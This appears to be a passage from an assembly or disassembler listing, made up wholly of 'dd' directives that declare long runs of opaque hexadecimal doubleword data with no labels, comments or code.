		dd 0A1F6C273h, 2C6460D1h, 11A20253h, 0D5B03375h, 1082C44Ah
		dd 720420E8h, 243A3882h, 4FA48164h, 46143C19h, 0B2B103D8h
		dd 0ADB68420h, 8C32C4D0h, 0D3042672h, 48E61AD0h, 0FB614471h
		dd 2C4CBCFCh, 0F18E0AF6h, 883CD775h, 0E0A007ADh, 315D5E22h
		dd 77202C02h, 0C99B0218h, 0E0149E40h, 812065A8h, 0B9773E3Bh
		dd 87B06DA6h, 10DD66F0h, 19294EB2h, 218D8717h, 3171C422h
		dd 0FD5AFC7Dh, 91266021h, 65350262h, 828E0687h,	960DE8Ch
		dd 4809F864h, 8CE08Ah, 8352405Ah, 945A3802h, 0A6547783h
		dd 2DE08A93h, 242CC225h, 97A5C03Dh, 546B858h, 89F98A86h
		dd 0ACE07494h, 9271E867h, 0D128B114h, 78E91829h, 0CBD70136h
		dd 8DF1F51Eh, 0C13C6820h, 6F8E8CAFh, 0B9105432h, 461867D6h
		dd 0FA2B0A48h, 0E2C08388h, 11E6B532h, 90D1FB0Bh, 227C1C17h
		dd 0B3025E46h, 4B3E2C85h, 0FCEC8434h, 8C64CCCCh, 69D72E04h
		dd 462328Bh, 0D7267C20h, 0B031008Dh, 0EAFA9C24h, 6D16285Fh
		dd 14C85E9Dh, 6C048C46h, 55AD28F1h, 6A223162h, 4C2B0074h
		dd 33287AB5h, 0BA0CD640h, 0B0A6895Bh, 0FF0D8892h, 37392A61h
		dd 4078FAB5h, 0F9F18B0Ah, 7140A19Ch, 2E183Eh, 0CDC3BCCCh
		dd 0F555DED5h, 0C622FB0Bh, 0F13038F3h, 0A0DA8839h, 70C9B016h
		dd 6114E882h, 7B106508h, 344D10B9h, 66E812BCh, 3531F891h
		dd 37D30D00h, 0E533ACA0h, 9CB84Ch, 0E3958A53h, 78EE0A75h
		dd 0D480C46Ah, 7DA7450Bh, 3D202CE7h, 89187C90h,	0F1697FC7h
		dd 0A13640A9h, 0DC9DAC14h, 0A23D05A0h, 70E76A7Fh, 8A530520h
		dd 0DF8E8420h, 0C184BC60h, 98896139h, 2F2821E1h, 56C63395h
		dd 90085398h, 97EB432h,	6802253Ch, 5B016E3Eh, 0A840531Eh
		dd 4FF9576h, 5D0B0484h,	452092AAh, 0EEF16330h, 224D46ADh
		dd 6B713Ah, 96170BF1h, 64141B26h, 40B5B300h, 0E1E98AB6h
		dd 1994B12Bh, 605C815Eh, 3040648Ch, 748F3133h, 0E97ACFA9h
		dd 708028B7h, 0E0502B89h, 0E2BAB53Ch, 1A930047h, 0DB4C9F45h
		dd 0C414AEABh, 129C420Ch, 4422D77Dh, 0FC693143h, 7D43AD2Dh
		dd 0F1715580h, 8A01E39Bh, 0D15C9E86h, 48A58D88h, 18913C97h
		dd 42ABDF81h, 0FE43C0B2h, 8B13C505h, 0E89595F9h, 65F44487h
		dd 689420E5h, 6F805841h, 6DAD2BF1h, 5758C494h, 0A1F11777h
		dd 0D7A300F9h, 0F588B68Ch, 41F8ED00h, 86BF6FDBh, 0C38582Dh
		dd 0D03D149Eh, 76458803h, 780526A5h, 0F838BE8Ah, 72CEB0CCh
		dd 59850053h, 337405ADh, 349480FDh, 82DF2B40h, 0F45B02CBh
		dd 4C61755Fh, 0B40E882h, 67335800h, 0A9FF3FD3h,	393D0C98h
		dd 0A100640Eh, 4E988030h, 0FB72F8CEh, 8C72D8E5h, 0C7711Fh
		dd 0B551E16Bh, 0DD01171Eh, 7A8E074Ah, 22FCA1F8h, 2F60D773h
		dd 6F23D4h, 56CCD880h, 6AB0A389h, 145A327Bh, 0B89A7433h
		dd 2B1DFDh, 802A1AE3h, 222DE56h, 3455E500h, 0FA5B1BFBh
		dd 0F83E4C58h, 0AC2856B2h, 18606712h, 256ED72Bh, 0B8162A8Bh
		dd 0D723710Eh, 444B4056h, 17099EA9h, 4F53A81h, 0A3208B3Ch
		dd 302FB27Ch, 0E601B28Ch, 8F972319h, 0E231AF61h, 9D125C2Dh
		dd 0D6284020h, 0F634D895h, 0D27B840Fh, 4CBE34C7h, 1882200h
		dd 0B964A089h, 804315E6h, 760AF6F8h, 2F7B74Ch, 131A5CFCh
		dd 70CF5A94h, 0A2857DC0h, 8B0504A1h, 0C83149E1h, 59C07620h
		dd 0CD31524h, 3A4702A5h, 51DEFB64h, 0E441C66h, 0DBBD09BCh
		dd 0F8E45CD8h, 0B41F6920h, 0C25137A4h, 705641E9h, 3195E46h
		dd 0EC9284B3h, 801238EDh, 0D81471CEh, 4A10878h,	89690232h
		dd 58D0F9C9h, 0C81A905h, 0C88F49F1h, 0CC03BC8h,	9BA11AAh
		dd 6870B953h, 6764AC2Fh, 0F504E595h, 413219Eh, 1194CAC4h
		dd 19095AF2h, 2430CDBEh, 0F55E8F3Fh, 429D0C05h,	0C54C5448h
		dd 84CC846Ah, 38542202h, 0F1A05427h, 5CB4AD8Ch,	0A0C8A016h
		dd 5CF09580h, 13645172h, 270D244Ch, 0ED212004h,	8700299Ch
		dd 0BCB42D23h, 26633E7Dh, 4FE0C03Dh, 68C844ABh,	0AC00A4BCh
		dd 0D21CCB40h, 0A2770CBAh, 0F18C798Ch, 0B0C01836h, 0C5E110A0h
		dd 0B4AF1316h, 0A048FB13h, 7FB708F1h, 0FCD94582h, 0CEB08013h
		dd 0C771F18Ah, 57D095A9h, 8F171545h, 0C03F88A0h, 325D4A1Bh
		dd 27BE3900h, 44AF16A5h, 9053679Bh, 69758341h, 88B1FDB8h
		dd 8988BEFFh, 9817359Fh, 5E3186F0h, 6CF84858h, 2C45E641h
		dd 0CA07808h, 394119B6h, 2B4B7802h, 16C058CDh, 10AF713h
		dd 0D1C7A224h, 88742339h, 292580h, 5582C416h, 19004FB7h
		dd 0F7951553h, 0F3E8FF26h, 88710020h, 1B63E394h, 436FCB0h
		dd 11FF1FF0h, 0E89D0B4Dh, 19B3710h, 44E0D8ECh, 2EA967FCh
		dd 23B8C445h, 97837880h, 64950DF4h, 6CE1F654h, 8C60BC58h
		dd 81C40303h, 0E906FD5Bh, 50250BDAh, 239C5F0h, 2DCD7451h
		dd 0B05A2ABEh, 18A0FF00h, 0A29A6C8Eh, 7C63009Eh, 0E6B92C1h
		dd 2C90EC20h, 1C59C200h, 9E71917h, 32E8A430h, 41081095h
		dd 62DE92E0h, 591E5C30h, 60D966B6h, 285B810Ch, 0ED002659h
		dd 0A70777B1h, 0A8C85A6h, 68669C61h, 86D02EACh,	3903D974h
		dd 6ED1A400h, 2EE14AB9h, 2F7B0061h, 2FA4706h, 0D25C7FFh
		dd 0E6F82BFEh, 0CC5350CCh, 0C90340C8h, 138EB012h, 28052004h
		dd 0F8501609h, 19758504h, 8CB82587h, 44131505h,	5660B071h
		dd 0BEEEFB02h, 643869FEh, 3E062464h, 0AC01350h,	82E85264h
		dd 5AC6BCADh, 5F1F3464h, 74025926h, 48298EBFh, 4DA1FD70h
		dd 24729840h, 0AECA53Dh
		dd 81C719Ah, 583E23A2h,	0F0024A8Dh, 705AA5BCh, 0B4D11AECh
		dd 0B0184015h, 8100CF21h, 26B17FF7h, 0B696FCh, 0E8AEF84Fh
		dd 67F3BEBCh, 90C0A12Ah, 0F226C912h, 0DBC81CCEh, 0F4DB42FEh
		dd 30A47885h, 0F1D64CAEh, 4F25CD13h, 0E1068180h, 908021B5h
		dd 54807C02h, 33140037h, 7184B73Ch, 7A5843E6h, 398A09BCh
		dd 0AD7C8668h, 3E31D270h, 3A3D2384h, 55DBF380h,	86C35FEDh
		dd 0ECA0297Eh, 0AC1EFBF5h, 45493797h, 70098FCh,	0A9203835h
		dd 7A8D328Bh, 112B6C91h, 0AAF4470Eh, 40E5047Fh,	0D668A9FDh
		dd 0F100C080h, 743D5904h, 3B69C223h, 80D101C9h,	6782D839h
		dd 0F0A21CA8h, 7AB133h,	0F2838A0h, 22AC20BEh, 2436A43Ah
		dd 23C4808h, 1491FEBFh,	15405C69h, 0C9E65C02h, 0E3FB014Ah
		dd 4AA06660h, 3823082Fh, 3364AE03h, 98A1C6B4h, 0E2788304h
		dd 7D5C8089h, 8135D0A9h, 70AFF164h, 7CBA4270h, 0E9F9310Bh
		dd 949427h, 0DA94245Ch,	0EAAF28D5h, 0A9BF5202h,	64610440h
		dd 64140014h, 5BE02EFDh, 93F68FB3h, 0ECC9B026h,	3AD49025h
		dd 0D168015h, 39BBF1h, 0CA611D2Bh, 8AB46Ah, 0AC0E944Ch
		dd 0A115B243h, 80794418h, 55E90B88h, 0A878D431h, 583CA400h
		dd 0CCA97533h, 0DC92324Ah, 58052929h, 71888C74h, 0A4942458h
		dd 290DD40Bh, 0AF3CB3A0h, 242BDC2h, 4C62131Eh, 6C622048h
		dd 0E2605E82h, 42B2DB0h, 0DA491AD8h, 0D600005Ah, 0F8C9E390h
		dd 7A4E0AFCh, 0FFE0031h, 0F3C705EEh, 0DE255507h, 40C430h
		dd 0AEA6AC53h, 860656A9h, 0E6881750h, 0C0D8340h, 14D81FCFh
		dd 0C94A8961h, 370C1891h, 0E6868183h, 0E19884E2h, 400029B8h
		dd 458A4BF1h, 1268028Fh, 8D2D05F2h, 0AC092FF8h,	0C2D4A171h
		dd 0A8552DE6h, 0A084492h, 192518D4h, 8401D310h,	91D6B7B6h
		dd 2025517Eh, 1BF80828h, 0A979018Ch, 0EE0CD3CBh, 43B5708Dh
		dd 66BC6151h, 408A0018h, 0C282AB2Ah, 9182FF86h,	3360B145h
		dd 73020845h, 891A88B9h, 1645A60h, 76F8DE10h, 68CB189Dh
		dd 683F3134h, 7068C3CAh, 38C3DECh, 0E04B54D3h, 70113A08h
		dd 950516BDh, 0C18321CAh, 1728BF8h, 7860A789h, 2B7D40DAh
		dd 4B782D4Dh, 56877C9Bh, 0EF7FD2CBh, 4D84C60h, 28E6BD80h
		dd 4881A2Bh, 7F62E1B7h,	20E4D97Ch, 0A640F548h, 0CF880F8Ah
		dd 3F42135Fh, 4459AB66h, 37FD8E04h, 0F85834F4h,	60C89420h
		dd 0B972B35Eh, 48CBA74Bh, 0B3460400h, 686E230Dh, 1D906950h
		dd 54204A41h, 0BF604054h, 0D3662005h, 4C548EC2h, 596A10C4h
		dd 3850F84Ch, 3F664F37h, 758C7EACh, 30FA02A2h, 5EB54F83h
		dd 8D422C7Eh, 9880091Bh, 0D9284B2h, 9F68AB2Fh, 0FCAD11D0h
		dd 8DE585ADh, 748580C7h, 20D1BCA4h, 271D1B18h, 0CC2EA5FFh
		dd 0F1A998B2h, 181971DCh, 9FB803CFh, 84F333F0h,	228832A1h
		dd 0D3670450h, 84C253FEh, 4B72EC7h, 97B0A90Dh, 824C2544h
		dd 8029C6B0h, 0E9AF8E48h, 5CA49EA9h, 39B118E1h,	0E0A6F940h
		dd 30BF83E0h, 70A017FDh, 630AD26h, 3E02204Ch, 6F48866Eh
		dd 38792918h, 6CD72901h, 50331A8Bh, 0D7217780h,	0FF00A389h
		dd 0FC8F17B2h, 2C8EBE03h, 9EEC28BDh, 13C412E4h,	0F214A28Ch
		dd 0B92B302Fh, 0B2E4CF02h, 60414CEAh, 80887DD0h, 230E35FAh
		dd 60266F8Eh, 5F98961h,	49509237h, 0C43C94F2h, 73405E44h
		dd 1B9502BCh, 0A5F98B71h, 94A914CAh, 5F68E000h,	37B0C52Ch
		dd 0D2C0009Dh, 4D59AB2Bh, 33062C3Ch, 382DC9E9h,	65F86758h
		dd 0F4ACC3E0h, 0F607FC90h, 3CE1E03Ch, 0B249B481h, 0A5A84890h
		dd 3EAC6CA8h, 6D9E018Ch, 23D4AE84h, 0EDCC200Ch,	0D007C726h
		dd 38E603F4h, 9B8CECF7h, 2EB1B7A8h, 40047E82h, 5630BABFh
		dd 0AF323F00h, 6B92E50Ah, 7F9101DEh, 0CA07B423h, 68092EFDh
		dd 893860D3h, 1AF1FBBh,	0DCD94904h, 0FB169C70h,	5679B6h
		dd 0B0C2D424h, 9128DB46h, 10E84C6Eh, 5109C5B5h,	444833BEh
		dd 0D98815FFh, 0D50E41D0h, 2B398C10h, 3F366178h, 180AB86h
		dd 6B7EEFEDh, 0E60AD773h, 28AA519Dh, 0F5031791h, 0C5115DEEh
		dd 4BB6BDE8h, 586F483Eh, 1FAC119Ch, 5F60971h, 0AC648EB5h
		dd 0B4400D4Fh, 8F4055BDh, 16EC01E8h, 0E0AF1052h, 7185F89Fh
		dd 2C2A953Dh, 0FA81284Dh, 0E1896BD4h, 7E16C469h, 0B10CF347h
		dd 841F3EEAh, 182E3EEAh, 9CE1310Ch, 0BEC00F3h, 5A12884h
		dd 0BB00D89Eh, 0FAA2B0B5h, 0C24087h, 383495Ah, 2AB4AD2Ch
		dd 8439472Eh, 3A064676h, 23418F87h, 0D4FB228Bh,	0D1FCC06Ah
		dd 27E89AACh, 0B84C2447h, 31F18B0Ah, 0EB039834h, 6255FB44h
		dd 0FD0D21F9h, 231500F2h, 7E1C35BFh, 0C9D0C541h, 0BECC9933h
		dd 7041D97Bh, 207B0274h, 61C9C05Ch, 1EFB5601h, 159DE738h
		dd 25753064h, 10C726D9h, 0F6005C4h, 31D0945h, 4912FF16h
		dd 0D034D044h, 4E300E12h, 0B6891490h, 5FF312E4h, 0EC19D093h
		dd 8A0B5545h, 0C26D20ACh, 34ECDC38h, 0F1B96CEBh, 18C00427h
		dd 906FE9A3h, 2BC0167Ch, 0F6F0297Ch, 0BC782008h, 94B18C94h
		dd 0C41835D1h, 1EF9E202h, 0D1A28DEEh, 18627964h, 0E2FB26A6h
		dd 47C90874h, 0D8122828h, 0C5F7404h, 0B6BCEE41h, 68381033h
		dd 0B2CA108h, 0DC4BD832h, 0AF1601C4h, 6C79B2BCh, 7E9D129Ch
		dd 3A8B2820h, 0E9A979F8h, 23D43B6Bh, 55A0534h, 5C938272h
		dd 24938D0h, 95BCA0h, 0F9AF24B4h, 0CC5FF18Ah, 0BD0834BCh
		dd 42AA8933h, 6387E082h, 0D9774C00h, 603E510Eh,	48F4B9E0h
		dd 7E89B835h, 7554D482h, 0FFFA5600h, 72F024CBh,	1932188Ch
		dd 0E94AF1F6h, 5A7AFC80h, 0CCCE0142h, 0A9C03CADh, 74446A2Bh
		dd 64A44B64h, 54C5098Eh, 0FC402476h, 80C15F88h,	0D8B6B8E4h
		dd 0A9B0C050h, 900A6084h, 0C0EB547Bh, 76282902h, 7A0644D9h
		dd 5F4E274Ch, 0C2E46C00h, 472FBC3h, 277C109Dh, 16600B8Ch
		dd 0C0D3EA47h, 9F16646Ah, 187718F0h, 187A5EAAh,	5429D4F1h
		dd 11E483Ch, 0BA88EE42h, 0B8A482D8h, 0C8489404h, 7E58BFD0h
		dd 0BD20A54h, 0D120B3A5h, 83BD31BEh, 0C67FF941h, 96A82141h
		dd 34067696h, 80FEE988h, 84C6EBFCh, 205AF575h, 9EBFE041h
		dd 60BB2B39h, 6EDCA909h, 587470E6h, 0FB05E8B9h,	343193B1h
		dd 0D075E994h, 0C2EB4C60h, 0F744EA71h, 1E7780E8h, 96CABB0Ch
		dd 4B8A30E4h, 5CB8447Fh, 7644A80Fh, 8E24C0B8h, 8A0008C7h
		dd 0D780D8BDh, 44A706C5h, 69EDACAFh, 8A50C1D1h,	23658CBFh
		dd 0BC828CC5h, 0B41321CEh, 0CA9A3F4h, 54792C3Bh, 50D1104Dh
		dd 3B4DFA00h, 0FB69CB02h, 9034D4B9h, 0EB45FCC8h, 23CC3A6Eh
		dd 0BA051F62h, 58D45C7Ah, 901E6D80h, 7A00280Bh,	21D3ABF3h
		dd 0E8CAACAh, 0BB8A6A75h, 77506381h, 0BF7C4059h, 204F19FEh
		dd 2023BCC2h, 0D60B64A4h, 9F250700h, 455DA6ECh,	1CD90027h
		dd 0F2DB67E6h, 0AD161259h, 54A73C24h, 0B99E5700h, 33CCF383h
		dd 10C9A720h, 8B397DCEh, 0FA9010A2h, 25BFE23Dh,	0CC442D8Eh
		dd 0E6E9420h, 0ACF10DC1h, 4C2F4B90h, 0D9073D23h, 0EB204ADAh
		dd 0E6E9164h, 31FAD1F6h, 7C90A4B3h, 11E81F95h, 0EBE7803Eh
		dd 13367A5Dh, 0B8B7708h, 4693900h, 0F809F7A7h, 5115ED2Bh
		dd 186BD914h, 0CBCE005Fh, 0DCB84D1Fh, 3A02E1E8h, 0F932EF47h
		dd 0AF946835h, 0B66031CEh, 646D8F72h, 540017F8h, 2F7F7D33h
		dd 0C1718D66h, 85977659h, 3CC0EE37h, 2C9617CCh,	3A465Eh
		dd 0B0F3D0DAh, 0E932138Bh, 5F4536Ah, 0F41BD480h, 4680750Ch
		dd 94AD122Fh, 5BE4F0DAh
		dd 570D1712h, 38622440h, 0B61CB974h, 89033948h,	0F53E483Ah
		dd 449C88Ah, 40604113h,	304024E4h, 86D44306h, 0DF302A88h
		dd 710922C8h, 21D92F41h, 8997FBB8h, 0C4474025h,	0FD0A4684h
		dd 616D8F0Ch, 2005D7ABh, 0E4C09921h, 0B92571B3h, 829465AFh
		dd 8DB34705h, 0C6E522h,	7F4AAD2Dh, 0A710828Ah, 0DA404062h
		dd 4C1C30Ah, 3BD0B4D5h,	0F2001CB2h, 0D79525D9h,	378CB53h
		dd 232C5A4Eh, 310232BAh, 8D472538h, 0AEB478C6h,	5E9C96ECh
		dd 1D002A46h, 0F8029EFBh, 489EB632h, 0FD57F960h, 6410F149h
		dd 6E2F5FFBh, 0E4406889h, 0E274F472h, 40880071h, 64DF7825h
		dd 0AA1DF1C0h, 5840738Fh, 0C9CB3C2h, 76600062h,	1D394001h
		dd 46777D7Ch, 81084095h, 12258C38h, 0B1C010A3h,	702856B2h
		dd 0E6CBA6B0h, 0B8A4E803h, 4841D59Eh, 0C90B6868h, 0EC71B688h
		dd 3960F47Bh, 0DB2D199Ah, 1D681F88h, 0A008E149h, 0CF714231h
		dd 0C2202117h, 6732CBD0h, 606F4430h, 2DB6BC6h, 0D755F9B0h
		dd 785011BFh, 74CC7455h, 583F6324h, 116CB25Dh, 80049F3Ch
		dd 11514A69h, 0AB005584h, 4B218207h, 0D528A18h,	567519A2h
		dd 1AD02019h, 0A1608901h, 51224011h, 53551880h,	0A0219813h
		dd 3E891E3Ah, 18A3EA1h,	648615A5h, 4BF0121Ch, 831A1D57h
		dd 87040051h, 981DA521h, 21C590Ch, 10288Ch, 7A85D83h, 1FAE589Bh
		dd 0AD673418h, 0E46E5640h, 535A0078h, 0BB218F18h, 13009907h
		dd 3D2E790Ah, 5034561Ch, 63140422h, 3A18006h, 244007E0h
		dd 711F6003h, 1E538356h, 33A15879h, 4AE31271h, 21621874h
		dd 0A34884E0h, 0DB8D1A08h, 5075E152h, 38465DC5h, 7A88C080h
		dd 8D03A265h, 1AE5220h,	87511C0Dh, 0BB330F3Fh, 6D1B8DE8h
		dd 22F4387Ch, 40126517h, 66A00071h, 767927A9h, 34491C00h
		dd 217C5025h, 7A21F72h,	0E14E5977h, 6649D07Fh, 506478C0h
		dd 216313ADh, 88904075h, 589C3100h, 22623DA0h, 0E770085h
		dd 214D558Dh, 128E787Ch, 1F1D4C76h, 923C2B0Ch, 85B40414h
		dd 46234243h, 8F54486Fh, 0A4D12DF1h, 5F2230C4h,	18C4AC9h
		dd 86C29460h, 0D019A4B9h, 71616B0Bh, 1774088Ch,	48B214AEh
		dd 9413104Bh, 27D1FE25h, 68A9A560h, 95434650h, 5821F0C3h
		dd 0B4AD2D65h, 10A5E960h, 0C4C9E6C3h, 0AEB97759h, 4720DC31h
		dd 0AC425816h, 6061AC5Dh, 16F96AFh, 7C40C03Dh, 4A82B413h
		dd 7A984553h, 0E883217h, 0DCF22C89h, 0D1E460CDh, 8C30E828h
		dd 0E586C359h, 94353729h, 161698C2h, 59B2D546h,	0A4CD231Ch
		dd 210EA851h, 0C305291h, 2B806E1Ah, 905C9AD3h, 1BC822CCh
		dd 0B9F20D12h, 8C0970BDh, 784859E6h, 0F930A9h, 4BF986BFh
		dd 0D6D0812Fh, 68123FC9h, 8F179CE2h, 774088E1h,	1286060h
		dd 95FA2F1h, 4C5986B9h,	0D444944Bh, 0E97940h, 406EACAFh
		dd 0B32FB15Eh, 0A9D80260h, 0AACAF61h, 0D780249Eh, 0AD738971h
		dd 98505544h, 0BF41E9E0h, 86972880h, 170AFB47h,	0B006B6B9h
		dd 40B128BCh, 2E09F1FEh, 1A8BC6AFh, 0CC443304h,	0DC2A5922h
		dd 0E90F4550h, 1DC9B100h, 1088294Bh, 48868A1Eh,	4A04149h
		dd 0E28B471Ah, 20CA459h, 12195132h, 1C2AEE0Dh, 82892C11h
		dd 1DB44830h, 5C416141h, 9700134Dh, 1C321785h, 300A4054h
		dd 39486887h, 7B9C943Ch, 158407FFh, 0FBC1D8A8h,	661BDED5h
		dd 2F9DA09Ch, 8CA097C0h, 0DA48525Fh, 6BCD09Ch, 651B01F5h
		dd 0F26112E0h, 0D5340072h, 53C21377h, 39D61519h, 2CE21A48h
		dd 25817E28h, 33141FE2h, 155CC050h, 0C13BD8D7h,	72C18821h
		dd 33F0Bh, 278633DBh, 40482A18h, 95883D9Eh, 81335BFBh
		dd 0E7C17960h, 4423390Ch, 0C512Bh, 1232FC56h, 5361E3AEh
		dd 8164B338h, 0C748BE88h, 461B60Ah, 0BC60AC09h,	0A19FF9DFh
		dd 4780E4BFh, 0D938A2F0h, 2CBD441h, 2E9CE113h, 4810C5D0h
		dd 1960AEB3h, 48013D71h, 10043A48h, 641C29F5h, 17C7D33h
		dd 0D4F35BCCh, 0F4FB412Dh, 10060826h, 1F3869ADh, 2B320108h
		dd 52CBBD8Ah, 67FCEC17h, 4CAEA87Fh, 44B8B060h, 0A4262877h
		dd 40F844E0h, 0C84880F5h, 0AC6F7F6h, 64F0C8ABh,	10F4F996h
		dd 0D4A948FBh, 7C044480h, 0B73032FFh, 0BE3C4880h, 9A427A9h
		dd 77BFD898h, 2D2C523Ah, 0FDA8209Bh, 0CF0CC1BCh, 921E1B21h
		dd 0F500D0D9h, 3F49C9F1h, 178449D8h, 29016F7Ch,	0D22A8748h
		dd 94157184h, 1004F003h, 928F71C0h, 4545ECFh, 0C0C575ECh
		dd 0DA78F42Bh, 31F9AE03h, 0C88746B3h, 0FB3ECEBBh, 9C04091h
		dd 85BD0A78h, 9046D720h, 4410A408h, 0B30052DFh,	2FC7BF66h
		dd 12344FAFh, 0D1D8D443h, 6FF6EAA8h, 10F1F009h,	0A8687374h
		dd 0B04377BCh, 6082172Ch, 3C7CF2ABh, 0E5AE009Eh, 0D0B3B2F6h
		dd 0C04FF66Fh, 6DA3C0B0h, 2C90CB3Fh, 0BED944h, 6F7D28F0h
		dd 0A0DF16F1h, 9A4CE401h, 259D3291h, 17C07980h,	0F0D75CF1h
		dd 2FDCC81Dh, 0DAF20C0Bh, 1C6E49C0h, 59DAA91Ah,	0E20C882Fh
		dd 0F1026011h, 0EBE9A010h, 6B0C4172h, 9217D44Ch, 0B02882A8h
		dd 69F18C60h, 6402212Bh, 84604F3Dh, 0CA0C98Fh, 52EC09ADh
		dd 562492BFh, 4E73411Ch, 3F21FC29h, 0B61FB8EEh,	36555A77h
		dd 54A8B14h, 30043138h,	0C52730F1h, 0FEB888D3h,	0FAF2488h
		dd 86FB53F5h, 200C89A0h, 0BC0BE18Ah, 0D22A9969h, 7676DCh
		dd 0ECA53612h, 238F797Bh, 1C9A4072h, 68426BA2h,	469D2817h
		dd 45E81A90h, 1767250Ah, 0AD3E2CD9h, 1698E420h,	8414AE8h
		dd 72807C68h, 440115BCh, 0F08012FCh, 0E41C327Eh, 97D2B18h
		dd 2CB45A6Ch, 8A36C40h,	332E98A4h, 0DB45F065h, 50CF0C44h
		dd 6318F322h, 7C5C8169h, 8C6ABC88h, 28F34F00h, 0B1A682ACh
		dd 9E411393h, 919C9022h, 1E0F32A5h, 60481003h, 1760C09Ch
		dd 0B4BC0521h, 20D463F0h, 0C10EEE80h, 950BC803h, 0D98DFF9Ch
		dd 443E8E32h, 0EAAE67BCh, 0E6682842h, 124742Eh,	0D00F469Ch
		dd 78CE0F33h, 4278F8F1h, 0AF10E028h, 0CC5509F0h, 10544937h
		dd 0D0383943h, 0E247B477h, 8BA8001Fh, 0C44CFFA9h, 644E0591h
		dd 0A0E82C85h, 7C8C07B8h, 2D9D2A9Ch, 5FAC07C4h,	0A087C0F3h
		dd 468B13CAh, 2DB9FF12h, 97A694C8h, 0AC127C38h,	9BAA1F0Eh
		dd 10E3C037h, 86DFF36h,	31900DF5h, 0CFACED2Dh, 3760F88Eh
		dd 0EA86F6FEh, 78EC9409h, 74187A9Eh, 6E30001Dh,	0C49D655Ah
		dd 2C1DA946h, 48003ACCh, 4596BD18h, 0B323257Ch,	0FB0DBC68h
		dd 720FB9DEh, 381918D9h, 0DB3D0019h, 776AA299h,	2D0143ECh
		dd 0A0C66894h, 0CB2EA9E2h, 0C0068840h, 8A857843h, 6CF2401Fh
		dd 0BECB641Eh, 361C2228h, 0B92303C0h, 0FB0539B6h, 7DB1FD98h
		dd 32A2CCFCh, 0DAD96422h, 98AB0004h, 0D3387B51h, 1D00926Ch
		dd 0E0BFDD2Ch, 59D88F66h, 5600EC23h, 69599FC8h,	0AC13A177h
		dd 0A40549FEh, 0A4C9E70Dh, 808456DAh, 0DB2B55FAh, 0B001670h
		dd 0B4CABD57h, 0E0216Ah, 8E711986h, 5A70D613h, 3E0C2618h
		dd 3F2FE39h, 9C9960F6h,	0DD9069E0h, 0B9177E28h,	988B521Fh
		dd 5F03A3DFh, 0C10BC563h, 407EDA74h, 0D423C664h, 0D0A02738h
		dd 0EC3D6F70h, 0BAFD8F16h, 6BAF800Ch, 5A124DFh,	0D637823h
		dd 88B4B8F0h, 13126345h, 0ED0812ADh, 21DB880h, 0ABF6797Fh
		dd 90775C91h, 0F69FD060h, 425E2FE5h, 265C80B0h,	80E40D5Ch
		dd 648A9E8Ch, 0B4A20093h, 0FC58DA72h, 892F601Eh, 0E4B4E5B2h
		dd 0BDD8603Ah, 75CF0456h, 0C82BC10Fh, 37055E90h, 7B7853A3h
		dd 2B742C82h
		dd 50178078h, 0C8D29E7h, 23282B2Bh, 61F10036h, 8323A889h
		dd 1CBE3A7Bh, 67DD1600h, 1F7BFA3Fh, 62F30D62h, 534DDA02h
		dd 0E0822F15h, 80C1BA5Ch, 0C97C8B23h, 0DA00A090h, 0FEBD49E6h
		dd 2348679h, 0B7DD1036h, 4CE4CE72h, 0C0B46D97h,	0D9C79F4Fh
		dd 0E755B600h, 0F0951D8Eh, 0B0FA84h, 9BA0B303h,	13412E7Dh
		dd 0CF0CDA00h, 2A896A06h, 28327448h, 358DCF3h, 12757394h
		dd 0C4E38AF9h, 46971917h, 17323CD0h, 0F0820347h, 33BF232Fh
		dd 0ED5B192Fh, 0CB19C0B8h, 5202F380h, 0DAE09510h, 7287CA7h
		dd 0D1BE0664h, 0F932C9CCh, 0B57C6766h, 78B238B6h, 0A871A51Dh
		dd 0ED186B59h, 47975400h, 3757B553h, 0B80463E6h, 29007B2Ah
		dd 0B3EBDCF1h, 0FD6AB3Bh, 0BF62E3BEh, 0A4219E64h, 0B10744D8h
		dd 5AD2DD70h, 9B7F273Fh, 34D9B001h, 3124C200h, 1160B800h
		dd 895BFFD0h, 6F7E008Bh, 93D21041h, 951D17F4h, 0B4262486h
		dd 81F6F582h, 4A407A40h, 0D0A276h, 5EB60DFDh, 331204Eh
		dd 5BF71B64h, 4084D8BDh, 7060E379h, 3FC84CE5h, 0F872D300h
		dd 0B98990A9h, 0BEFFDB00h, 165B6C41h, 0F9640266h, 2B68A080h
		dd 19004052h, 51AA050Ah, 528906h, 0B33F28FBh, 707EDB94h
		dd 0D1955907h, 3D9308Ah, 88159EE7h, 3CAF60E0h, 7504B2C8h
		dd 80079FCDh, 79CC2624h, 6AE27200h, 8D09C5A3h, 120DF074h
		dd 0B863EDCFh, 290C811Ch, 0F7409C94h, 726F3222h, 0A3EA0001h
		dd 0F3529F89h, 4B03C70Dh, 0A9FF953Dh, 1498A627h, 90A0188Dh
		dd 2B2CCC5Fh, 4C7C2CBFh, 0E747977h, 7B0C94D5h, 0BB8964C0h
		dd 8E4BD975h, 0CDB8D800h, 0C3DAEh, 86976A42h, 0D2BB91B2h
		dd 4989B28h, 1156DC37h,	45B280FBh, 9A67E7h, 25D9AE4Eh
		dd 4AE8A83Fh, 1F289100h, 83A10B05h, 2B3E0092h, 22BB1011h
		dd 25F0989Ah, 7D1F3403h, 0EB1D14D7h, 0C6283A92h, 40314098h
		dd 0C06D2B9Ah, 0A0EF7031h, 0C07CB8BAh, 81713B61h, 52F89ED2h
		dd 8C295400h, 0F28B6185h, 999D003Ch, 402FF8D6h,	0AC00C011h
		dd 0A642205Eh, 7AA2E8h,	0F9D9943Bh, 35113423h, 0B5502D73h
		dd 51C16144h, 0A918A665h, 38C73181h, 802A5CB8h,	98951380h
		dd 7C9288CAh, 3054303Ch, 7C129D18h, 0F81CB40h, 909ED8A8h
		dd 0C3F04980h, 8D05ECEBh, 221858BBh, 96639421h,	5EBA309Dh
		dd 0C0A40C14h, 0A80D3810h, 708C4365h, 2CFC2F3h,	0CC92F3DEh
		dd 0B4030437h, 0E1D340FCh, 0B8476471h, 5C3353C1h, 0DB349440h
		dd 0D2A93C5Ah, 8040FCCCh, 90E30171h, 9E5C98A0h,	0FF299047h
		dd 48017484h, 0B4D18E27h, 0BC829D20h, 0CF00D779h, 8B25AC8Ch
		dd 0EC644Bh, 27AA8EF2h,	331129C1h, 4C31E300h, 13BA3A8Ah
		dd 34E8003Ch, 772E7151h, 24072772h, 91BBE984h, 0A7C11990h
		dd 0ED44006Bh, 0B4C5802Ah, 8B01A9B5h, 795C5D4Eh, 0BE0B68Fh
		dd 48F50704h, 0E0039588h, 0C1C4657h, 8902DD73h,	2220F3F0h
